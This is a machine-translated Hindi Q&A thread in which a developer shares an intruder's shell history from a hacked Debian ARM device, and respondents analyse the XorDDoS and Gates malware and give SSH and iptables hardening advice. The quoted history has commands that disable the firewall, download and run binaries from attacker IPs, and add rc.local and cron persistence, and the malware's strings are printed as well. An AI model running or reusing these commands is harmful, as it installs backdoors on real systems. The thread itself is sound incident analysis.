सवाल क्या मुझे अभी हैक किया गया था?


मैं एक उपभोक्ता उत्पाद विकसित कर रहा हूं, और यह इंटरनेट से कनेक्ट होना चाहिए, इसलिए उम्मीद है कि यह इंटरनेट से जुड़ा हुआ है ताकि मैं इसे ठीक से विकसित कर सकूं।

मैं एक या दो घंटे के लिए चला गया, और जब मैं अपने कार्यालय में वापस आया तो मैंने टर्मिनल में लिखे गए कुछ अजीब आदेशों को देखा।

लिनक्स लॉग फ़ाइल को देखकर auth.log मैं निम्नलिखित पंक्तियां देख सकता हूं (कई और के बीच):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

आईपी ​​पता 40.127.205.162 यह बात निकलकर आना माइक्रोसॉफ्ट के स्वामित्व में

यहां आदेशों का एक गुच्छा है जिसका इस्तेमाल तब किया गया था जब मैं दूर था:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

और अधिक:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

मैं इस से पूरी तरह से अनजान था। मैं अपने उत्पाद को सही तरीके से कैसे सुरक्षित कर सकता हूं?

मैं पूरा पोस्ट करना चाहता हूं auth.log फ़ाइल। मैं उसको कैसे करू?

इसके अलावा, फ़ाइल yjz1 डाउनलोड किया गया था एक लिनक्स ट्रोजन लगता है और ऐसा लगता है कि यह सब कुछ हैकर समूह द्वारा किया जाता है http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

क्या मुझे माइक्रोसॉफ्ट को कॉल करना चाहिए और उनसे बात करनी चाहिए? मुझे क्या करना चाहिए?


485
2018-02-01 11:21


मूल


हाँ वह बहुत अच्छा नहीं लग रहा है। मैं किसी भी माध्यम से लिनक्स में एक विशेषज्ञ नहीं हूं, लेकिन कुछ निश्चित रूप से वहां पर निष्पादन करने की कोशिश की गई है। मुझे पूरा यकीन नहीं है कि कैसे ऐसा लगता है कि यह रूट के रूप में लॉग इन करने का प्रयास करता है और असफल रहा। क्या आपके auth.log में कोई अन्य लॉग है? दूरस्थ व्यवस्थापक के किसी अन्य साधन? मैंने देखा है कि मैक के साथ VNC सर्वर सक्षम है, इसके माध्यम से पहले हैक किया गया है, हालांकि यह एक एसएसएच प्रयास की तरह दिखता है। ऐसा लगता है कि इसे डाउनलोड करने वाले आईपी कहीं चीन में होस्ट किए जाते हैं। - Jonno
आपको मजबूर होना पड़ा। यही कारण है कि कोई इंटरनेट पर एक एसएसएच सर्वर नहीं छोड़ता है, भले ही आपके पास पासवर्ड हो। कुंजी आधारित लेख से कम कुछ भी इन दिनों पर्याप्त सुरक्षित नहीं है। - Journeyman Geek♦
ठीक है हमारे पास है security.stackexchange.com। लेकिन पहली बात सबसे पहले: समझौता किया गया होस्ट अब भरोसा नहीं किया जा सकता है। इसे नेटवर्क से बाहर ले जाओ। यदि संभव हो तो बैकअप लें ताकि आप शोध कर सकें कि क्या किया गया था और यह कैसे किया गया था। अगला ओएस को एक स्वच्छ स्रोत से पुनर्स्थापित करें। बैकअप से डेटा पुनर्स्थापित करें। सिस्टम को सुरक्षित करें तो आप फिर से संक्रमित नहीं हो जाते हैं। यह पता लगाना कि उन्हें कैसे मिला है, इसकी अत्यधिक अनुशंसा की जाती है। (इसलिए संक्रमित प्रणाली की एक प्रति बनाने की सिफारिश)। - Hennes
एफवाईआई: 40.127.205.162 ए है माइक्रोसॉफ्ट एज़ूर जीओआईपी के अनुसार आईपी पता। नतीजतन, आप हमले के लिए माइक्रोसॉफ्ट को दोष नहीं दे सकते - यह अमेज़ॅन को दोष देने के बराबर है क्योंकि किसी ने स्पैम के लिए ईसी 2 का उपयोग किया है। माइक्रोसॉफ्ट की एकमात्र चीज वास्तव में कर सकती है हमलावरों को एज़ूर से बाहर लाती है, लेकिन वे किसी भी समय एक अलग क्लाउड प्लेटफ़ॉर्म पर वापस आ जाएंगी। - nneonneo
वास्तव में, अगर यह आपके टर्मिनल में लिखा गया था, तो हैकर शायद अगले क्यूबिकल में बैठा है। - isanae


जवाब:


संपादित करें 2:

एक अच्छा कारण है कि यह पोस्ट इतना ध्यान आकर्षित कर रहा है: आप अपने पीसी पर घुसपैठिए के पूरे, लाइव सत्र को रिकॉर्ड करने में कामयाब रहे। यह हमारे दैनिक अनुभव से बहुत अलग है, जहां हम अपने कार्यों के परिणामों की खोज से निपटते हैं और उन्हें हल करने का प्रयास करते हैं। यहां हम उसे काम पर देखते हैं, उसे पिछवाड़े की स्थापना करने, अपने कदमों को पीछे हटाने, बुखार से काम करने के लिए कुछ समस्याएं दिख रही हैं (शायद क्योंकि वह ऊपर से सुझाए गए अनुसार, या शायद मेरी मेज पर बैठा था, और मेरी राय में अधिक संभावना थी, क्योंकि वह था सिस्टम पर अपना मैलवेयर चलाने में असमर्थ, नीचे पढ़ें), और नियंत्रण के पूरी तरह से आत्मनिर्भर उपकरणों को तैनात करने का प्रयास करें। यह वही है जो सुरक्षा शोधकर्ता रोज़ाना देखते हैं शहद जाल। मेरे लिए, यह एक बहुत दुर्लभ मौका है, और कुछ मनोरंजन का स्रोत है।


आप निश्चित रूप से हैक किया गया है। इसके लिए सबूत है नहीं के स्निपेट से आओ auth.log फ़ाइल जो आपने प्रदर्शित की है, क्योंकि यह एक असफल लॉगिन प्रयास की रिपोर्ट करता है, जो एक छोटी अवधि अवधि (दो सेकेंड) पर होता है। आप देखेंगे कि दूसरी पंक्ति बताती है Failed password, जबकि तीसरा एक रिपोर्ट करता है pre-auth डिस्कनेक्ट करें: लड़का ने कोशिश की और असफल रहा।

सबूत दो फाइलों की सामग्री से बदले में आता है http://222.186.30.209:65534/yjz तथा http://222.186.30.209:65534/yjz1 जो हमलावर आपके सिस्टम पर डाउनलोड किया गया।

यह साइट वर्तमान में किसी को भी डाउनलोड करने के लिए खुली है, जो मैंने किया था। मैं पहले भाग गया file उन पर, जो दिखाया:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

तब मैं उन्हें 64-बिट डेबियन वीएम पर लाया; के माध्यम से उनकी सामग्री की एक परीक्षा strings कमांड ने बहुत कुछ बताया जो संदिग्ध था (विभिन्न प्रसिद्ध हमलों का संदर्भ, आदेशों के लिए प्रतिस्थापित करने के लिए आदेश, एक स्क्रिप्ट जिसे स्पष्ट रूप से एक नई सेवा स्थापित करने के लिए उपयोग किया गया था) और इसी तरह)।

इसके बाद मैंने दोनों फाइलों के एमडी 5-हैश का उत्पादन किया, और उन्हें खिलाया Cymru के हैश डेटाबेस यह देखने के लिए कि क्या वे मैलवेयर के एजेंट हैं। जबकि yjzनहीं है, yjz1 है, और साइमू 58% एंटी-वायरस सॉफ़्टवेयर द्वारा पहचान की संभावना की रिपोर्ट करता है। यह भी कहता है कि यह फ़ाइल पिछले तीन दिनों पहले देखी गई थी, इसलिए यह हाल ही में हाल ही में है।

चल रहा है clamscan (का हिस्सा clamav पैकेज) मैंने प्राप्त की गई दो फाइलों पर:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

इसलिए अब हम निश्चित हैं कि मानक लिनक्स सॉफ्टवेयर इसकी पहचान कर सकता है।

आपको क्या करना चाहिये? 

हालांकि नए, न तो प्रणाली बहुत नई है, XorDdos पर इस जनवरी 2015 लेख देखें, उदाहरण के लिए। इसलिए अधिकांश मुफ्त पैकेज इसे हटाने में सक्षम होना चाहिए। तुम्हें कोशिश करनी चाहिए: clamav, rkhunter, chkrootkit। मैंने चारों ओर गुगल किया है, और देखा है कि वे इसे खोजने में सक्षम होने का दावा करते हैं। पूर्ववर्ती के काम को जांचने के लिए उनका इस्तेमाल करें, लेकिन इन तीन कार्यक्रमों को चलाने के बाद आपको जाने के लिए तैयार रहना चाहिए।

बड़े सवाल के लिए, what should you do to prevent future infections, जर्नीमैन का जवाब एक अच्छा पहला कदम है। बस ध्यान रखें कि यह एक सतत संघर्ष है, एक हम सभी (मुझे सहित!) भी इसे जानने के बिना खो गया है।

संपादित करें:

विक्टर टोथ (अप्रत्यक्ष) प्रॉम्प्ट पर, मैं कुछ टिप्पणियां जोड़ना चाहता हूं। यह निश्चित रूप से सच है कि घुसपैठियों को कुछ कठिनाइयों का सामना करना पड़ा: वह दो अलग-अलग हैकिंग टूल डाउनलोड करता है, कई बार उनकी अनुमतियों को बदलता है, उन्हें कई बार पुनरारंभ करता है, और फ़ायरवॉल को अक्षम करने के लिए कई बार कोशिश करता है। यह अनुमान लगाना आसान है कि क्या हो रहा है: वह अपने हैकिंग टूल्स को अपने संक्रमित पीसी (बाद में देखें) की ओर एक संचार चैनल खोलने की उम्मीद करता है, और जब वह इस नए चैनल को अपने नियंत्रण जीयूआई पर उभरता नहीं देखता है, तो उसकी हैकिंग से डरता है उपकरण फ़ायरवॉल द्वारा अवरुद्ध किया जा रहा है, इसलिए वह स्थापना प्रक्रिया दोहराता है। मैं विक्टर टोथ से सहमत हूं कि उनके ऑपरेशन का यह विशेष चरण अपेक्षित फल नहीं लाता है, लेकिन मैं आपको प्रोत्साहित करना चाहता हूं बहुत मजबूती से अपने पीसी पर किए गए नुकसान की सीमा को कम से कम नहीं समझें।

मैं यहां आंशिक आउटपुट प्रदान करता हूं strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

यह सेवाओं के साथ छेड़छाड़ का सबूत प्रदान करता है (में /etc/init.d और में /etc/rc.d), साथ में crontab, इतिहास की फाइल के साथ mysql, और कुछ फाइलें proc जो लिंक हैं bash (जो बताता है कि आपके खोल के कस्टम-निर्मित धोखाधड़ी वाले संस्करण को लगाया गया है)। फिर कार्यक्रम एक HTTP अनुरोध उत्पन्न करता है (एक चीनी भाषी साइट पर,

 Accept-Language: zh-cn

जो उपरोक्त डेविड श्वार्टज़ की टिप्पणी को पदार्थ देता है), जो और भी विनाश पैदा कर सकता है। अनुरोध में, द्विआधारी (Content-Type: application/x-www-form-urlencoded) हमला पीसी (जीईटी) पर डाउनलोड किया जाना है और नियंत्रण मशीन (POST) पर अपलोड किया गया है। मैं स्थापित नहीं कर सका कि हमला पीसी पर क्या डाउनलोड किया जाएगा, लेकिन, दोनों के छोटे आकार को दिया गया yjz तथा yjz1 (1.1 एमबी और 600 केबी, प्रतिकूल रूप से), मैं अनुमान लगा सकता हूं कि रूटकिट को छिपाने के लिए आवश्यक अधिकांश फाइलें, अर्थात। के बदलते संस्करण ls, netstat, ps, ifconfig, ..., इस तरह से डाउनलोड किया जाएगा। और यह इस डाउनलोड को प्राप्त करने के लिए हमलावर के बुखार प्रयासों को समझाएगा।

कोई निश्चितता नहीं है कि उपर्युक्त सभी संभावनाएं समाप्त हो जाती हैं: हमें निश्चित रूप से प्रतिलेख (457 और 481 के बीच) का हिस्सा नहीं है और हमें लॉगआउट नहीं दिख रहा है; इसके अलावा, विशेष रूप से चिंताजनक लाइनें 495-497 हैं,

cd /tmp;  ./yd_cd/make

जो एक फ़ाइल को संदर्भित करता है जिसे हमने डाउनलोड नहीं किया, और कौन सा पराक्रम एक संकलन हो: यदि हां, तो इसका मतलब है कि हमलावर (आखिरकार?) समझ गया है कि उसके निष्पादन योग्यों की समस्या क्या थी, और इसे ठीक करने की कोशिश कर रहा है, जिस स्थिति में हमला किया गया पीसी अच्छा हो गया है। [वास्तव में, मैलवेयर के दो संस्करण जो हमलावर हैक की गई मशीन (और मैं अपने 64 बिट डेबियन वीएम पर) पर डाउनलोड किया गया है, एक अनुपयुक्त आर्किटेक्चर, x86 के लिए है, जबकि हैकड-इन पीसी के नाम का नाम इस तथ्य को दूर करता है कि वह एक हाथ वास्तुकला से निपट रहा था]।

मैंने इस संपादन को लिखने का कारण यह है कि आप अपने सिस्टम को एक पेशेवर उपकरण के साथ कंघी करने के लिए या स्क्रैच से पुनः स्थापित करने के लिए जितना संभव हो उतना दृढ़ता से आग्रह करें।

और, वैसे, क्या यह किसी के लिए उपयोगी साबित होना चाहिए, यह की सूची है 331 आईपी ​​पते जो yjz कनेक्ट करने की कोशिश करता है। यह सूची इतनी बड़ी है (और शायद अभी भी बड़ी हो सकती है) कि मेरा मानना ​​है कि यह छेड़छाड़ का कारण है mysql। अन्य पिछवाड़े द्वारा प्रदान की गई सूची समान है, जो मुझे लगता है, खुले में जानकारी के इस तरह के एक महत्वपूर्ण टुकड़े को छोड़ने का कारण है (मैं सोच हमलावर उन्हें कर्नेल प्रारूप में स्टोर करने का प्रयास नहीं करना चाहता था, इसलिए उन्होंने पूरी सूची को एक स्पष्ट-पाठ फ़ाइल में रखा, जो शायद अपने सभी बैकडोर्ड्स द्वारा पढ़ा जा सकता है, जो भी ओएस के लिए):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

निम्नलिखित कोड

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

उपर्युक्त सूची में यह दिखाता है 302 कुल में से बाहर 331 पते मुख्य भूमि चीन में हैं, शेष लोग हांगकांग, मंगोलिया, ताइवान में हैं। यह डेविड श्वार्टज़ की इस विवाद को और समर्थन देता है कि यह ज्यादातर चीनी बॉट रिंग है।

संपादित करें 3

@ वैद के अनुरोध पर (ओपी के लेखक, नीचे उनकी टिप्पणी पढ़ें), मैं एक मूल लिनक्स सिस्टम की सुरक्षा को मजबूत करने के तरीके के बारे में एक टिप्पणी जोड़ूंगा (कई सेवाओं को प्रदान करने वाली प्रणाली के लिए, यह एक बहुत ही जटिल विषय है)। vaid राज्यों ने निम्नलिखित किया:

  1. सिस्टम को पुनर्स्थापित करें

  2. मिश्रित निचले- और अपरकेस अक्षरों और वर्णों और अंकों के साथ 16 वर्ण लंबे पासवर्ड में रूट पासवर्ड बदल दिया।

  3. उपयोगकर्ता नाम को 6 मिश्रित वर्ण लंबे उपयोगकर्ता नाम में बदल दिया और रूट के लिए उपयोग किए गए समान पासवर्ड को लागू किया

  4. 5000 से ऊपर कुछ एसएसएच बंदरगाह बदल दिया

  5. एसएसएच रूट लॉगिन बंद कर दिया।

यह ठीक है (सिवाय इसके कि मैं 10,000 से ऊपर बंदरगाह का उपयोग करता हूं क्योंकि कई उपयोगी कार्यक्रम 10,000 से नीचे बंदरगाहों का उपयोग करते हैं)। परंतु मैं ssh लॉगिन के लिए क्रिप्टोग्राफिक कुंजी का उपयोग करने की पर्याप्त आवश्यकता पर जोर नहीं दे सकता, पासवर्ड के बजाय। मैं आपको एक व्यक्तिगत उदाहरण दूंगा। मेरे वीपीएस में से एक पर, मुझे अनिश्चित था कि एसएसएच पोर्ट को बदलना है या नहीं; मैंने इसे 22 पर छोड़ा, लेकिन प्रमाणीकरण के लिए क्रिप्टो कुंजी का इस्तेमाल किया। मैंने लिया सैकड़ों ब्रेक-इन प्रयासों का हर दिनकोई भी सफल नहीं हुआ। जब, रोज़ाना जांचने के लिए थक गया कि कोई भी सफल नहीं हुआ, तो अंत में मैंने बंदरगाह को 10,000 से ऊपर कुछ स्विच कर दिया, तो ब्रेक-इन प्रयास शून्य हो गए। आपको याद है, यह नहीं है कि हैकर्स बेवकूफ हैं (वे नहीं हैं!), वे सिर्फ आसान शिकार शिकार करते हैं।

एक हस्ताक्षर एल्गोरिदम के रूप में आरएसए के साथ एक क्रिप्टो कुंजी को सक्रिय करना आसान है, जनवरी ह्यूडेक द्वारा धन्यवाद टिप्पणी देखें (धन्यवाद!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

अब आपको फाइल कॉपी करने के लिए बस इतना करना है id_rsa उस मशीन से जिसमें आप कनेक्ट करना चाहते हैं (एक निर्देशिका में .ssh, भी chmod'एड टू 700), फिर कमांड जारी करें

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

जब आप सुनिश्चित हैं कि यह काम करता है, तो सर्वर पर संपादित करें (= वह मशीन जिसे आप कनेक्ट करना चाहते हैं) फ़ाइल /etc/ssh/sshd_config, और रेखा बदलें

#PasswordAuthentication yes

सेवा मेरे

PasswordAuthentication no

और पुनरारंभ करें ssh सर्विस (service ssh restart या systemctl restart ssh, या इस तरह कुछ, distro के आधार पर)।

यह बहुत सहन करेगा। वास्तव में, वर्तमान संस्करणों के खिलाफ वर्तमान में कोई ज्ञात शोषण नहीं है openssh v2, और आरएसए द्वारा नियोजित के रूप में openssh v2

अंत में, वास्तव में अपनी मशीन को बोल्ट करने के लिए, आपको फ़ायरवॉल (netfilter / iptables) को निम्नानुसार कॉन्फ़िगर करने की आवश्यकता होगी:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

यह, 1) लैन और वैन दोनों से एसएसएच कनेक्शन की अनुमति देता है, 2) आपके अनुरोधों से उत्पन्न होने वाले सभी इनपुट की अनुमति देता है (उदाहरण के लिए, जब आप एक वेब पेज लोड करते हैं), 3) इनपुट पर बाकी सब कुछ छोड़ देता है, 4) सबकुछ चालू करता है आउटपुट, और 5-6) लूपबैक इंटरफ़ेस पर सब कुछ देता है।

जैसे-जैसे आपकी ज़रूरतें बढ़ती हैं, और अधिक बंदरगाहों को खोला जाना चाहिए, आप सूची के शीर्ष पर जोड़कर ऐसा कर सकते हैं, जैसे नियम:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

उदाहरण के लिए लोगों को आपके वेब ब्राउज़र तक पहुंचने की अनुमति दें।


481
2018-02-01 16:05



यह पढ़ने के लिए बहुत अच्छा था। मैंने फ़ाइल की भी कोशिश की yjz1 Googles के माध्यम से VirusTotal.com जो एक सकारात्मक दिया। मैंने उसे भी नहीं देखा yjzडाउनलोड किया गया था। धन्यवाद। - vaid
सावधान रहें strings अविश्वसनीय डेटा पर। lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff इस बात को इंगित करने के लिए धन्यवाद, मैं खुशी से इसके बारे में अनजान था। हालांकि, मेरे डेबियन पर 'स्ट्रिंग्स' कमांड आपके द्वारा उड़ान रंगों से जुड़े परीक्षण को पास करता है। मुझे लगता है कि यह इस तथ्य के कारण है कि मैनुअल कहता है: -a ... आम तौर पर यह डिफ़ॉल्ट व्यवहार है। चीयर्स। - MariusMatutiae
